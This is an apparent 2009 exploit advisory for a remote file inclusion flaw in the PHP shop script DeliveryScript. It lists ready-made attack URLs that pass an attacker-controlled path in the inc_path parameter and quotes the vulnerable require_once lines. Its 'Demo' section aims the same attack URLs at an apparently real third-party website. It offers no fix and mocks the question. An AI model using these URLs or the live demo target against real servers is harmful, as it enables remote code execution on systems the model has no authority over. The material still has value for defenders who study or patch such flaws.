DeliveryScript Remote File Inclusion

`#############################################################################  
## Deliveryscript Multiple Remote File include vulnerability ##  
## Author : kaMtiEz ([email protected]) ##  
## Homepage : http://www.indonesiancoder.com ##  
## Date : October 30, 2009 ##  
#############################################################################  
  
[ Software Information ]  
  
[+] Vendor : http://www.deliveryscript.com/  
[+] Download : -  
[+] version : v25 or lower  
[+] Price : - Unlimited = $199  
- Professional = $99  
- Standard = $39  
[+] Vulnerability : RFI   
[+] Dork : Think It   
[+] Location : INDONESIA - JOGJA  
  
#############################################################################  
  
[ Vulnerable File ]  
  
http://127.0.0.1/[PATH]/ds-inc/inc.php?inc_path=[INDONESIANCODER]  
http://127.0.0.1/[PATH]/ds-inc/functions.php?inc_path=[INDONESIANCODER]  
http://127.0.0.1/[PATH]/ds-inc/setups.php?inc_path=[INDONESIANCODER]  
  
[ BUG IN ]  
  
[+] inc.php  
  
require_once($inc_path . 'functions.php');  
require_once($inc_path . 'setups.php');  
  
[+] Functions.php  
  
require_once($inc_path . 'functions/admin/function.invalidate_admin.php');  
require_once($inc_path . 'functions/admin/function.is_valid_admin.php');  
require_once($inc_path . 'functions/admin/function.set_valid_admin.php');  
require_once($inc_path . 'functions/sms/function.send_clickatell_sms.php');  
require_once($inc_path . 'functions/util/function._decrypt.php');  
require_once($inc_path . 'functions/util/function._encrypt.php');  
require_once($inc_path . 'functions/util/function.filesize_format.php');  
require_once($inc_path . 'functions/util/function.get_host.php');  
require_once($inc_path . 'functions/util/function.get_uri.php');  
require_once($inc_path . 'functions/util/function.get_user_ip.php');  
require_once($inc_path . 'functions/function._array_unique.php');  
require_once($inc_path . 'functions/function.block_link.php');  
require_once($inc_path . 'functions/function.download_file_exists.php');  
require_once($inc_path . 'functions/function.generate_auth.php');  
require_once($inc_path . 'functions/function.get_product.php');  
require_once($inc_path . 'functions/function.is_blocked.php');  
require_once($inc_path . 'functions/function.is_valid_download_request.php');  
require_once($inc_path . 'functions/function.is_valid_payment.php');  
require_once($inc_path . 'functions/function.notify_idevaffiliate.php');  
require_once($inc_path . 'functions/function.process_order.php');  
require_once($inc_path . 'functions/function.product_exists.php');  
require_once($inc_path . 'functions/function.resend_order_email.php');  
require_once($inc_path . 'functions/function.returned_txn_id_exists.php');  
require_once($inc_path . 'functions/function.sectostr.php');  
require_once($inc_path . 'functions/function.send_echeck_delay_notice.php');  
require_once($inc_path . 'functions/function.send_manual_process_notice.php');  
require_once($inc_path . 'functions/function.send_order_email.php');  
require_once($inc_path . 'functions/function.txn_id_exists.php');  
  
[+] setups.php  
  
require_once($inc_path . 'setups/setup.phpmailer.php');  
require_once($inc_path . 'setups/setup.phpxml.php');  
  
[ Demo ]  
  
http://prkg.com/wallstreet/ds-inc/inc.php?inc_path=[kaMtiEz]  
http://prkg.com/wallstreet/ds-inc/functions.php?inc_path=[kaMtiEz]  
http://prkg.com/wallstreet/ds-inc/setups.php?inc_path=[kaMtiEz]  
  
  
[ FIX ]  
  
Dont know :P  
  
Joke ;)  
  
  
#############################################################################  
  
[ Thx TO ]  
  
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW  
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h  
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz  
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy and YOU!!  
  
[ NOTE ]   
  
[+] makasih buad babe and enyak ma ade .... muach ..  
[+] AuraKasih ada apa dengan mu ???   
[+] For M3NW5 Woi lu di tunggu Om Don Tukulesto tuh !! Malah ngilang ..   
[+] For Don Tukulesto .. Nothing to say .. u are best !  
[+] Buat Para IndonesianCoder dan kill-9 Member .. Tetap semangat !!!  
[+] Malam Minggu jam setengah 8 .. Mau ngapel malah nemu Vulnerability .. wkwkkw`